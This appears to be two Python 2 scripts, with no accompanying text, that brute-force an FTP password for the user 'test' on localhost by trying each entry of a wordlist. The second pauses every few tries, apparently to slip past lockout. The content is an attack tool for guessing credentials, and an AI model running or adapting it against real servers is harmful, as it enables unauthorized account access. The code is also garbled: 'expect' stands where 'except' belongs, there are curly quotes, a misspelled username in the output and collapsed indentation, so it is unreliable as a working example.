import socket import sys for i in open(sys.argv[1], "r"): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1",21)) data = s.recv(1024) s.send("USER test\r\n") data = s.recv(1024) s.send("PASS {}\r\n".format(i.rstrip())) data = s.recv(1024) if "230" in data: print "Password is {}".format(i.rstrip()) break import ftplib import time ftp = ftplib.FTP("127.0.0.1") c = 0 for passw in open("pwd.txt", “r”): pwd = passw.rstrip() if c <= 3: try: ftp.login("test", str(pwd)) print “Password for user tesi is {}”.format(pwd) expect: pass else: time.sleep(5) try: ftp.login("test", str(pwd)) print “Password for user tesi is {}”.format(pwd) expect: pass c = 0 c = c +1